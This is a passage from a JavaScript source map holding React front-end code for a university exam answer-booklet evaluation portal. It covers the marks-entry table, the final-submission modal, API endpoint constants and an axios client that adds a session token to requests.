</Modal.Content>\n          </Modal>\n          <div>\n            {qpSchemepath.fonlineqp == \"T\" &&\n              qndata.fqnno != undefined &&\n              isViewQn && (\n                <div\n                  style={{\n                    height: \"80px\",\n                    position: \"sticky\",\n                    top: 0,\n                    overflowY: \"auto\",\n                    background: \"#fff\",\n                    borderBottom: \"3px solid #008dda\",\n                  }}\n                >\n                  <p\n                    style={{\n                      textAlign: \"initial\",\n                      marginLeft: \"20px\",\n                      color: \"#000\",\n                      fontSize: \"16px\",\n                      justifyContent: \"justify\",\n                      cursor: \"pointer\",\n                    }}\n                    onClick={() => setQnModalOpen(true)}\n                  >\n                    {qndata.fqnno} <span> {qndata.fquestion}</span>\n                  </p>\n                </div>\n              )}\n            {filename.length > 0 ? (\n              filename.map((el, i) => {\n                return (\n                  <div\n                    style={{\n                      marginTop:\n                        qpSchemepath.fonlineqp == \"T\" && qnModalOpen\n                          ? \"30px\"\n                          : 0,\n                    }}\n                    id={i}\n                  >\n                    {/* {i !== 0 && i !== 1 && el !== \"Thumbs.db\" && ( */}\n                    <img\n                      onClick={() => console.log(i)}\n                      key={i}\n                      src={\n                        \"https://universitysolutions.in/tdvs-php/public\" +\n                        \"/eval-img/\" +\n                        filepath +\n                        \"/\" +\n                        el\n                      }\n                      className=\"ansbook\"\n                      alt=\"image not found\"\n                    />\n                    {/* )} */}\n                  </div>\n                );\n              })\n            ) : (\n              <p>Answer Booklet Not Found</p>\n            )}\n          </div>\n        </div>\n        <div className=\"item3\">\n          {filename.length > 0 ? (\n            filename.map((el, i) => {\n              return (\n                <div>\n                  {/* {i !== 0 && i !== 1 && el !== \"Thumbs.db\" && ( */}\n                  <img\n                    onClick={() => scrollToDiv(i)}\n                    key={i}\n                    style={{\n                      width: \"95%\",\n                      padding: \"2px\",\n                      border: \"1px solid\",\n                    }}\n                    src={\n                      \"https://universitysolutions.in/tdvs-php/public/\" +\n                      \"/eval-img/\" +\n                      filepath +\n                      \"/\" +\n                      el\n                    }\n                    className=\"ansbook\"\n                    alt=\"image not found\"\n                  />\n                  {/* )} */}\n                </div>\n              );\n            })\n          ) : (\n            <p>Answer Booklet Not Found</p>\n          )}\n        </div>\n        <div className=\"item2\">\n          <div className=\"navbar\">\n            <div className=\"menu-items\">\n              <a\n                // href={`https://answer-booklets.s3.ap-south-1.amazonaws.com/${qpSchemepath.fqppath}`}\n                // target=\"_blank\"\n                onClick={() => hanldeOpenQp()}\n              >\n                QP\n              </a>\n              <a\n                href={`https://answer-booklets.s3.ap-south-1.amazonaws.com/${qpSchemepath.fschempath}`}\n                target=\"_blank\"\n              >\n                Scheme\n              </a>\n              <a onClick={() => saveHandler(\"save\")}>Save</a>\n              <a onClick={() => setDraftOpen(true)}>Draft</a>\n              <a onClick={() => setRejectOpen(true)}>Reject</a>\n              <a onClick={() => setExitOpen(true)}>Exit</a>\n            </div>\n          </div>\n          <div className=\"align-val\">\n            <div className=\"val-det\">\n              <div>\n                {qpSchemepath.fonlineqp == \"T\" && (\n                  <IconGroup>\n                    {isViewQn ? (\n                      <Icon\n                        name=\"eye\"\n                        style={{ cursor: \"pointer\" }}\n                        color=\"green\"\n                        onClick={() => {\n                          sessionStorage.setItem(\"isViewQn\", false);\n                          setIsViewQn(false);\n                        }}\n                      />\n                    ) : (\n                      <Icon\n                        name=\"eye slash out\"\n                        style={{ cursor: \"pointer\" }}\n                        color=\"red\"\n                        onClick={() => {\n                          sessionStorage.setItem(\"isViewQn\", true);\n                          setIsViewQn(true);\n                        }}\n                      />\n                    )}\n                  </IconGroup>\n                )}\n                <label>\n                  <b>Reg. Code.: </b>\n                </label>\n                <span>\n                  <b>{regcode}</b>\n                </span>\n              </div>\n              <div>\n                <label>\n                  <b>Val. No.: </b>\n                </label>\n                <span>\n                  <b>{valno}</b>\n                </span>\n              </div>\n            </div>\n          </div>\n\n          <div className=\"marks-table\">\n            <table>\n              <thead className=\"thead\">\n                <tr>\n                  <td\n                    colSpan={4}\n                    style={{\n                      background: \"#fff\",\n                      color: \"#000\",\n                      textAlign: \"initial\",\n                    }}\n                  >\n                    <p>\n                      {\" \"}\n                      <b style={{ color: \"#f00\", textDecoration: \"underline\" }}>\n                        Note:{\" \"}\n                      </b>\n                      <span style={{ fontSize: \"12px\" }}>\n                        If the student has not answered any question, kindly put\n                        'N' in the appropriate box\n                      </span>\n                    </p>\n                  </td>\n                </tr>\n                <tr>\n                  <th colSpan={omrmarks != \"\" ? 3 : 4}>\n                    Secured Marks: {marks}\n                  </th>\n                  {omrmarks !== \"\" && <th>OMR Marks: {omrmarks}</th>}\n                </tr>\n              </thead>\n              {parts.map((el, i) => {\n                return (\n                  <tbody key={el.fpartcode}>\n                    <tr>\n                      <th colSpan={4}>{el.fpartdesc}</th>\n                    </tr>\n                    <tr style={{ background: \"#008dda\", color: \"#fff\" }}>\n                      <th width=\"15%\">Qn.</th>\n                      <th width=\"20%\">Max.</th>\n                      <th width=\"20%\">Sec.</th>\n                      <th width=\"45%\">Remarks</th>\n                    </tr>\n                    {questions.map((que, index) => {\n                      if (que.fpartcode === el.fpartcode && que.fsubqn != \"T\") {\n                        let color =\n                          que.fmarks == \"-2\" || que.fmarks == \"N\"\n                            ? \"#f00\"\n                            : \"#000\";\n                        return (\n                          <tr key={que.fqnno}>\n                            <td\n                              style={{\n                                color: color,\n                              }}\n\n                              // onClick={() => {\n                              //   setQnData(que);\n                              //   // setQnModalOpen(true);\n                              //   console.log(que);\n                              // }}\n                            >\n                              <p\n                                className=\"input\"\n                                style={{ cursor: \"pointer\" }}\n                              >\n                                {que.fqnno}\n                              </p>\n                            </td>\n                            <td>\n                              <input\n                                type=\"text\"\n                                className=\"input\"\n                                style={{\n                                  color: color,\n                                }}\n                                value={que.fmaxmarks}\n                                disabled\n                              />\n                            </td>\n                            <td>\n                              <input\n                                ref={(que) => setRef(que, index)}\n                                type=\"text\"\n                                className=\"input\"\n                                onFocus={() => {\n                                  setQnData(que);\n                                  setIdx(index);\n                                }}\n                                maxLength={\n                                  que.fmaxmarks.toString().length == 1 ? 3 : 4\n                                }\n                                style={{\n                                  color: color,\n                                }}\n                                value={\n                                  que.fmarks == \"-1\"\n                                    ? \"\"\n                                    : que.fmarks == \"-2\"\n                                    ? \"N\"\n                                    : que.fmarks\n                                }\n                                onChange={(e) => changeMarksHandler(e, index)}\n                                onBlur={(e) => {\n                                  blurHandler(que, index, e);\n                                }}\n                              />\n                            </td>\n                            <td>\n                              <input\n                                type=\"text\"\n                                className=\"input\"\n                                style={{\n                                  color: color,\n                                }}\n                                value={que.fremarks}\n                                onChange={(e) => changeRemarksHandler(e, index)}\n                              />\n                            </td>\n                          </tr>\n                        );\n                      }\n                    })}\n                  </tbody>\n                );\n              })}\n            </table>\n          </div>\n        </div>\n      </div>\n\n      {/* {evalData.length > 0 && (\n          <table>\n            <tbody>\n              {sum.length > 0 && (\n                <tr>\n                  <td>Evaluator Code</td>\n                  <td>{sum[0].fteachcode}</td>\n                  <td>Evaluator Name</td>\n                  <td>{sum[0].fteachname}</td>\n                </tr>\n              )}\n              <tr>\n                <td>QP Code</td>\n                <td>{row.fqpcode}</td>\n                <td>Subject Name</td>\n                <td>{row.fsubname}</td>\n              </tr>\n              <tr>\n                <td>Reg. Code</td>\n                <td>{row.fregcode}</td>\n                <td>Max. Marks</td>\n                <td>{row.ftempmax}</td>\n              </tr>\n            </tbody>\n          </table>\n        )} */}\n      <Modal open={finalOpen} size=\"small\">\n        <Container style={{ padding: \"1em\" }}>\n          <Card fluid style={{ padding: \"1em\" }}>\n            <Card.Content textAlign=\"center\">\n              <Card.Header>Final Submission</Card.Header>\n            </Card.Content>\n            {evalData.length > 0 ? (\n              <Table basic style={{ width: \"40vw\", margin: \"10px auto\" }}>\n                <Table.Body>\n                  {sum.length > 0 ? (\n                    <Table.Row>\n                      <Table.Cell>Evaluator Code</Table.Cell>\n                      <Table.Cell>{sum[0].fteachcode}</Table.Cell>\n                      <Table.Cell>Evaluator Name</Table.Cell>\n                      <Table.Cell>{sum[0].fteachname}</Table.Cell>\n                    </Table.Row>\n                  ) : null}\n                  <Table.Row>\n                    <Table.Cell>QP Code</Table.Cell>\n                    <Table.Cell>{row.fqpcode}</Table.Cell>\n                    <Table.Cell>Subject Name</Table.Cell>\n                    <Table.Cell>{row.fsubname}</Table.Cell>\n                  </Table.Row>\n                  <Table.Row>\n                    <Table.Cell>Reg. Code</Table.Cell>\n                    <Table.Cell>{row.fregcode}</Table.Cell>\n                    <Table.Cell>Max. Marks</Table.Cell>\n                    <Table.Cell>{row.ftempmax}</Table.Cell>\n                  </Table.Row>\n                </Table.Body>\n              </Table>\n            ) : null}\n\n            {evalData.length > 0 ? (\n              <div>\n                <Table\n                  compact\n                  celled\n                  structured\n                  style={{ width: \"40vw\", margin: \"10px auto\" }}\n                >\n                  <Table.Header>\n                    <Table.Row>\n                      <Table.HeaderCell textAlign=\"center\" rowSpan=\"2\">\n                        Qn. No.\n                      </Table.HeaderCell>\n                      <Table.HeaderCell textAlign=\"center\" colSpan=\"3\">\n                        Marks\n                      </Table.HeaderCell>\n                    </Table.Row>\n                    <Table.Row>\n                      <Table.HeaderCell textAlign=\"center\">\n                        Awarded by Evaluator\n                      </Table.HeaderCell>\n                      <Table.HeaderCell textAlign=\"center\">\n                        Allocated by System\n                      </Table.HeaderCell>\n                      <Table.HeaderCell textAlign=\"center\">\n                        Max. Marks\n                      </Table.HeaderCell>\n                    </Table.Row>\n                  </Table.Header>\n\n                  {partsData.map((el) => {\n                    return (\n                      <Table.Body key={el.fpartcode}>\n                        <Table.Row positive key={el.fpartcode}>\n                          <Table.Cell colSpan=\"4\" textAlign=\"center\">\n                            {el.fpartdesc} (Answer {el.fmandqn} / {el.fmaxqn}{\" \"}\n                            questions)\n                          </Table.Cell>\n                        </Table.Row>\n                        {evalData.map((row) => {\n                          if (\n                            el.fpartcode == row.fpartcode &&\n                            row.fsubqn != \"T\"\n                          ) {\n                            return (\n                              <Table.Row key={row.fqncode}>\n                                <Table.Cell textAlign=\"center\">\n                                  {row.fqnno}\n                                </Table.Cell>\n                                <Table.Cell textAlign=\"center\">\n                                  {parseFloat(row.fmarks11) == -2\n                                    ? \"NA\"\n                                    : parseFloat(row.fmarks11)}\n                                </Table.Cell>\n                                <Table.Cell textAlign=\"center\">\n                                  {parseFloat(row.fmarks12) == -2\n                                    ? \"NA\"\n                                    : row.fmarks12 == \"\"\n                                    ? \"\"\n                                    : parseFloat(row.fmarks12)}\n                                </Table.Cell>\n                                <Table.Cell textAlign=\"center\">\n                                  {parseFloat(row.fmaxmarks)}\n                                </Table.Cell>\n                              </Table.Row>\n                            );\n                          }\n                        })}\n                        <Table.Row warning key={el.fpartcode + 1}>\n                          <Table.Cell textAlign=\"center\">Part Total</Table.Cell>\n                          <Table.Cell textAlign=\"center\">\n                            {parseFloat(el.fmarks11)}\n                          </Table.Cell>\n                          <Table.Cell textAlign=\"center\">\n                            {parseFloat(el.fmarks12)}\n                          </Table.Cell>\n                          <Table.Cell textAlign=\"center\">\n                            {parseFloat(el.fmaxmarks)}\n                          </Table.Cell>\n                        </Table.Row>\n                      </Table.Body>\n                    );\n                  })}\n\n                  {sumData.length > 0 ? (\n                    <Table.Footer>\n                      <Table.Row>\n                        <Table.HeaderCell textAlign=\"center\">\n                          Final Marks\n                        </Table.HeaderCell>\n                        <Table.HeaderCell textAlign=\"center\">\n                          {parseFloat(sum[0].ftotmarks)}\n                        </Table.HeaderCell>\n                        <Table.HeaderCell textAlign=\"center\">\n                          {parseFloat(sum[0].fsysmarks)}\n                        </Table.HeaderCell>\n                        <Table.HeaderCell textAlign=\"center\">\n                          {parseFloat(row.ftempmax)}\n                        </Table.HeaderCell>\n                      </Table.Row>\n                    </Table.Footer>\n                  ) : null}\n                </Table>\n              </div>\n            ) : null}\n\n            <center>\n              {sumData.length ? (\n                <div>\n                  <Checkbox\n                    label=\"I acknowledge that above Allocted marks are found correct and any further modification is not allowed.\"\n                    onChange={(e, data) => {\n                      setAck(data.checked);\n                    }}\n                  />\n                  <br />\n                  <br />\n\n                  <TextArea\n                    placeholder=\"Remarks (optional)\"\n                    style={{\n                      width: \"95%\",\n                      border: \"1px solid #999\",\n                      borderRadius: \"4px\",\n                    }}\n                    rows={4}\n                    value={remarks}\n                    onChange={(e, data) => setRemarks(data.value)}\n                  />\n                  <br />\n                  <br />\n                  <Button\n                    size=\"tiny\"\n                    icon=\"arrow alternate circle left outline\"\n                    color=\"red\"\n                    onClick={() => setFinalOpen(false)}\n                    style={{ marginRight: \"1em\" }}\n                    content=\"Cancel\"\n                  />\n\n                  <Button\n                    primary\n                    size=\"tiny\"\n                    icon=\"save outline\"\n                    onClick={finalsubmitEvalaution}\n                    disabled={!ack}\n                    content=\"Final Submit\"\n                  />\n\n                  <br />\n                </div>\n              ) : null}\n            </center>\n          </Card>\n        </Container>\n      </Modal>\n    </div>\n  );\n}\n","export const API = \"https://app.universitysolutions.in\";\n\nexport const ReportAPI =\n  window.location.protocol + \"//universitysolutions.in/univadmin/app.php?a=\";\n\n// export const API = \"http://localhost:8080\";\n\nexport const univadmin = \"https://universitysolutions.in/univadmin/\";\n\nexport const NewApi = \"https://universitysolutions.in/univadmin/app.php?\";\n\nexport const digiApi = \"https://universitysolutions.in/tdvs-php/app.php?a=\";\n","// export const api = \"https://universitysolutions.in/collportal/app.php?a=\";\n\nexport const API =\n  window.location.protocol + \"//universitysolutions.in/tdvs-php\";\n","import axios from \"axios\";\nimport { API } from \"./consts\";\n\nconst api = axios.create({\n  baseURL: API,\n  headers: {\n    \"X-Auth-Origin\": \"TDVS\",\n  },\n});\n\napi.interceptors.request.use(\n  function(config) {\n    let token = \"\";\n    token = sessionStorage.getItem(\"token\");\n\n    if (token) config.headers[\"Authorization\"] = token;\n    return config;\n  },\n  function(error) {\n    return Promise.reject(error);\n  }\n);\n\n// api.interceptors.request.use((config) => {\n//   const token = localStorage.getItem(\"uniclare-token\");\n//   if (token) {\n//     config.headers[\"Authorization\"] = `${token}`;\n//   }\n//   return config;\n// });\n\n// api.interceptors.response.use(\n//   (response) => response,\n\n//   (error) => {\n//     if (error.response && error.response.status === 401) {\n//       alert(\"Session has expired. Please log in again.\");\n//       window.location.href = \"/\"; // Redirect to login page\n//     }\n//     return Promise.reject(error);\n//   }\n// );\n\nexport default api;\n"],"sourceRoot":""}